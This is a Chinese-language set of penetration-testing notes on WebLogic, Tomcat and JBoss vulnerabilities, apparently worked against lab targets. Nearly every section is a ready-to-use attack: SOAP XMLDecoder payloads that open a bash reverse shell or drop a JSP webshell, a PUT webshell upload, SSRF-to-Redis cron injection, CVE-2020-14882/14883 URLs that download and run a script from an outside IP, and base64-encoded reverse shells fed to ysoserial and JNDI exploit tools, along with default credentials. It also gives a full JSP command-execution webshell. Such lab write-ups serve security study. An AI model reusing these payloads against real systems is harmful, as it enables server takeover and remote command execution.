常见中间件漏洞
WebLogic
简介
概述
WebLogic Server 是美国 Oracle 公司推出的基于 JavaEE/JakartaEE 架构的商业级应用服务器中间件,是企业级 Java 平台的核心组件,用于开发、部署和管理大型分布式 Web 应用、网络应用及数据库应用。
它支持 JavaEE/JakartaEE 标准,具备高可用性、可扩展性,可实现负载均衡、集群部署等功能,广泛用于企业级应用场景。
核心特性
- 标准支持:完整支持 JavaEE/JakartaEE 规范(Servlet, JSP, EJB, JMS, JPA 等)
- 高可用性:提供故障转移、会话复制等机制
- 集群能力:支持水平扩展和负载均衡
- 管理控制:提供集中式的配置和管理界面
- 安全机制:集成企业级安全服务
技术参数
项目 | 参数 |
---|---|
默认端口 | 7001 (HTTP) |
管理端口 | 通常与服务端口相同 |
协议支持 | HTTP/HTTPS, T3, T3S, IIOP 等 |
管理接口 | Web 控制台 / 命令行 |
访问路径
- 默认访问:http://ip:7001/ (返回 404 页面)
- 管理控制台:http://ip:7001/console
- 管理 API:http://ip:7001/management
常见漏洞
后台弱口令 + 文件部署漏洞
首先登录网址:http://192.168.2.201:7001/,观察到默认访问 404 的页面。
尝试访问管理控制台页面:http://192.168.2.201:7001/console,可以轻松进入管理控制台的登录页面。
尝试使用弱口令登录:
- 用户名:weblogic
- 密码:Oracle@123
可以成功登录。
进入页面后,点击界面右侧的 部署 按钮,查看应用列表。
点击 安装,随后选择 上载文件。
上传一个 war
包:
jar -cvf 目标文件.war webshell文件.jsp
随后上传文件,上传文件后点击 下一步,直至点击 完成。
随后访问上传的 WebShell:http://192.168.2.201:7001/cmd/cmd.jsp,网址的路径为:
http://IP/port/上传的war包的文件名不带后缀/war包中原本的jsp文件名
传入参数,可以成功执行命令。
SSRF
Weblogic 的 SSRF 漏洞只支持使用 HTTP 协议,其他伪协议均无法使用。
首先访问漏洞路径:http://192.168.2.201:7001/uddiexplorer/SearchPublicRegistries.jsp
点击 Search,抓包查看请求包的内容。
发现请求体中存在一个 URL 链接,使用 DNSlog 测试漏洞是否存在。
获取到 DNSlog 记录,确实存在漏洞。
通过内网探测内网是否存在其他服务,例如探测到:http://172.19.0.2:80,会收到 could not connect over HTTP to server
的报错,表面该 IP 的这个端口没有开放。
继续探测,当探测到:http://172.19.0.2:6379 时,发现响应中存在 which did not have a valid SOAP content-type: null
,表面该端口开放,但是是非 HTTP 协议。
这个端口,应该是 Redis 的服务,尝试攻击内网的 Redis。
发送以下 Redis 命令,将 Shell 脚本写入计划任务:
set 1 "\n\n\n\n*/1 * * * * root bash -c 'sh -i >& /dev/tcp/IP/Port 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将命令 URL 编码后发送:
set%201%20%22%5cn%5cn%5cn%5cn*%2f1%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fIP%2fPort%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0a
成功获取到 Shell。
XMLDecode 反序列化
XMLDecode 没有 CC、CB、URLDNS 链,而是直接构造 soap xml 语法,使用 java.beans.XMLDecoder 调用 java 方法,比如调用 ProcessBuilder.start 方法实现 RCE。
首先登录网址:http://192.168.43.50:7001/,观察到默认访问 404 的页面。
尝试反弹 Shell:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: Host_IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/IP/Port 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
尝试写入 WebShell:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: Host_IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
写入 WebShell 以后,访问:http://192.168.43.50:7001/bea_wls_internal/test.jsp
成功执行命令。
T3 协议反序列化
XMLDecode 没有 CC、CB、URLDNS 链,而是直接构造 soap xml 语法,使用 java.beans.XMLDecoder 调用 java 方法,比如调用 ProcessBuilder.start 方法实现 RCE。
什么是 T3 协议:T3 协议是 Oracle WebLogic Server 特有的二进制通信协议,基于 TCP/IP 协议,用于客户端与服务器间的高效数据传输,尤其适用于分布式 Java 应用场景,支持 RMI 远程方法调用。
WebLogic 特定的版本,反序列化利用链是固定的,可以找 python 脚本直接打。
此处使用脚本 CVE-2018-2628
python CVE-2018-2628-Getshell.py 192.168.43.50 7001 shell1.jsp
注:该脚本使用 python2。
T3 协议一直都有反序列化功能,如果出现了新的利用链,就是新的漏洞。
后台文件上传
首先登录网址:http://192.168.43.50:7001/,观察到默认访问 404 的页面。
尝试访问管理控制台页面:http://192.168.43.50:7001/console,可以轻松进入管理控制台的登录页面。
管理员用户名为 weblogic
,执行命令 docker compose logs | grep password
获取到密码。
登录后台页面,点击 base_domain
的配置,在 高级 中开启 启用 Web 服务测试页 选项。
访问:http://192.168.43.50:7001/ws_utc/config.do。
设置 Work Home Dir 为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
随后在 安全 中点击 添加,此处可以上传文件(WebShell)。
上传文件后,查看返回的数据包的时间戳:1754322426113
最后访问:http://192.168.43.50:7001/ws_utc/css/config/keystore/1754322426113_cmd.jsp
未授权访问漏洞 + 命令执行
两个漏洞的综合利用:
- CVE-2020-14882 Weblogic 未授权访问
- CVE-2020-14883 Weblogic 后台 RCE 漏洞
首先未授权访问漏洞,直接免登录访问后台,直接访问后台:http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal
随后执行命令(无回显):
http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
此时进入容器可以直接看到成功写入名为的 success1 的文件。
可以尝试反弹 Shell,在攻击机上写好 Shell,并在攻击机上开启相应的监听,在目标机上执行 wget
或 curl
命令,从攻击机上下载脚本并运行。
攻击机上存在 getbash.sh 脚本文件,在该文件目录上开启监听:
python -m http.server
随后在目标机上执行命令:
http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl http://117.72.59.106:8000/getbash.sh -o /tmp/getbash.sh');")
http://192.168.43.50:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(' bash /tmp/getbash.sh');")
最后成功获取 Shell。
T3 协议反序列化 JNDI 注入
首先使用工具 NDI-Injection-Exploit,利用 JNDI 注入漏洞进行获取 Shell 攻击。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A IP -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"
随后使用 POC_CVE-2023-21839 进行反弹 Shell。
python P0C_CVE-2023-218391.py -ip 192.168.43.50 -p 7001 -l 上一步生成的ldap或rmi
最后获取到 Shell。
TomCat
简介
概述
Tomcat 是一个开源的 轻量级 Web 应用服务器,主要用于部署和运行 Java Servlet、JSP(JavaServer Pages)等基于 Java 的 Web 应用程序。
核心功能
- Servlet/JSP 容器:支持 Java EE(现 Jakarta EE)的 Servlet 和 JSP 规范。
- HTTP 服务器:内置 HTTP 服务,可直接处理浏览器请求(默认端口 8080)。
- 轻量级:相比完整 Java EE 服务器(如 WildFly、WebLogic),Tomcat 更轻便,适合中小型项目。
常见漏洞
后台弱口令 + 文件部署漏洞
TomCat 默认使用 HTTP Basic 验证
basic 验证的方式:在 HTTP 请求头中存在:
Authorization: Basic 经过base64编码的用户名:密码的字符串
首先登录页面,点击页面的 Manager App 按钮,进入管理页面,但是该页面需要登录。
此时不知道密码可以随便输入一个密码,抓包观察。
此时可以尝试爆破密码,使用 TomCat 常用的一些密码。
注意在爆破时,要对内容进行 base64 编码,同时不要对 :
进行 URL 编码。
爆破后发现用户名密码均为 tomcat
,使用该账密即可成功登录。
对于这样使用默认密码的情形,可以通过修改密码或限制频率来解决。
- 修改密码可以在
tomcat-users.xml
文件中进行修改。- 限制密码错误频率:可以在 tomcat 默认配置
server.xml
中修改。
接下来进行后台文件部署:
当进入管理页面以后,可以很轻易发现一个名为 WAR file to deploy 的模块,此处可以上传文件。
尝试上传一个后门的 war
包,上传成功后访问网址:http://192.168.2.201:8081/cmd/cmd.jsp
# 其网址同样为
http://IP/port/上传的war包的文件名不带后缀/war包中原本的jsp文件名
成功部署文件,并可以执行命令。
TomCat PUT 任意文件上传
在该靶场中使用 PUT 请求进行构造即可在 Web 的根目录下写入 Shell。
首先进入网页,随后抓包。
将请求包的内容修改为 PUT 请求,并附带 Shell:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.2.201:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
成发送请求包后,访问写入的 1.jsp
即可获取到 Shell。
TomCat Session 反序列化漏洞
进入网页,网站可以正常运行。
首先使用 ysoserial 生成序列化链文件:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" > cc5.ser
亦可以使用 Java-Chains 生成链,其可以生成更多的链,例如 K 链。
随后使用 curl 命令对漏洞点(/deserialize/session
接口)进行 PUT 请求:
curl -X PUT -H "Content-Range: byt
es 0-5000/6200" --data-binary @cc5.ser http://192.168.2.201:8081/abs/session
# -X PUT 代表请求方式为PUT
# -H 指定请求头为 Content-Range: bytes 0-5000/6200
# --data-binary @cc5.ser 指定使用当前目录下的 cc5.ser 文件内容作为请求体
发送请求后,tomcat 服务器上就会存在一个 session 文件 .deserialize
。
重新发送访问 .deserialize session
的请求,抓包将 Cookie 的内容修改。
即可自动反序列化,触发漏洞。
[!warning]
此处的 JSESSIONID 的值需要根据前面发送 PUT 请求中网址的变化而变化,例如此处访问的接口为
/abs/session
,则 JSESSIONID 为.abs
,这个内容是可以随意修改的,但需前后对应。
发送以后可以成功获取到 Shell。
JBoss
简介
概述
JBoss(现更名为 WildFly)是一个开源的 企业级 Java EE(Jakarta EE)应用服务器,由 Red Hat 开发并维护。它提供了完整的 Java EE 功能,适用于大型分布式系统和高性能企业应用。
核心功能
- 完整的 Java EE / Jakarta EE 支持:支持 Servlet、JSP、EJB、JPA、JMS、CDI 等企业级规范。
- 模块化架构:基于 JBoss Modules,支持按需加载组件,减少内存占用。
- 高性能:优化了线程池、连接池和缓存机制,适合高并发场景。
- 集群与高可用性:支持分布式部署、会话复制和负载均衡。
常见漏洞
jmx-console 未授权访问 + 部署漏洞
在该靶场中存在未授权访问,访问 /jmx-console
接口即可直接登录,同时可以使用账密 admin:admin
进行登录。
进入以后找到 DeploymentScanner
模块,点击进入。
在页面中找到 addURL,并在 ParamType 为 Java.lang.String
的模块中的 paramValue 增加一个从攻击机上下载 war 包的链接:http://117.72.59.106:8000/shell.war。
攻击机此时要开启连接:
python -m http.server
随后点击模块下的 Invoke,随后点击 Back to MBean View。
此时可以看到修改的 URL,点击 Apply Changes。
此时成功部署,访问:http://192.168.2.201:8081/shell/shell.jsp 即可。
这个脚本为冰蝎脚本,使用冰蝎可以成功连接。
Administration Console 后台文件部署漏洞
首先进入网址,发现 Administration Console,点击进入。
输入用户名 admin
,密码 vulhub
进行登录。
进入后台后发现有一个可以上传 war 包的地方。
上传一个 war 包,上传成功后访问该文件,即可获取 Shell。
Jboss Httplnvoker 反序列化漏洞
在该靶场中,接口 /invoker/readonly
会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。
首先使用 ysoserial 或 Java-Chains 等工具生成利用链文件,如 CC5 利用链。
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}" > cc5.ser
随后利用生成的利用链文件,通过 curl 命令对漏洞接口发送请求即可触发 Shell。
curl http://192.168.2.201:8081/invoker/readonly --data-binary @cc5.ser
JbossMQ JMS 反序列化漏洞
在该靶场中,接口 /jbossmq-httpil/HTTPServerILServlet
会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。
操作步骤与上面 Jboss Httplnvoker 反序列化漏洞相同。
curl http://192.168.2.201:8081/jbossmq-httpil/HTTPServerILServlet --data-binary @cc5.ser
JMXInvokerServlet 反序列化漏洞
在该靶场中,接口 /invoker/JMXInvokerServlet
会对 Post 请求体传入的字节进行反序列化,如果传入的字节是 Java 反序列化利用链,即可触发反序列化漏洞。
操作步骤与上面 Jboss Httplnvoker 反序列化漏洞相同。
curl http://192.168.2.201:8081/invoker/JMXInvokerServlet --data-binary @cc5.ser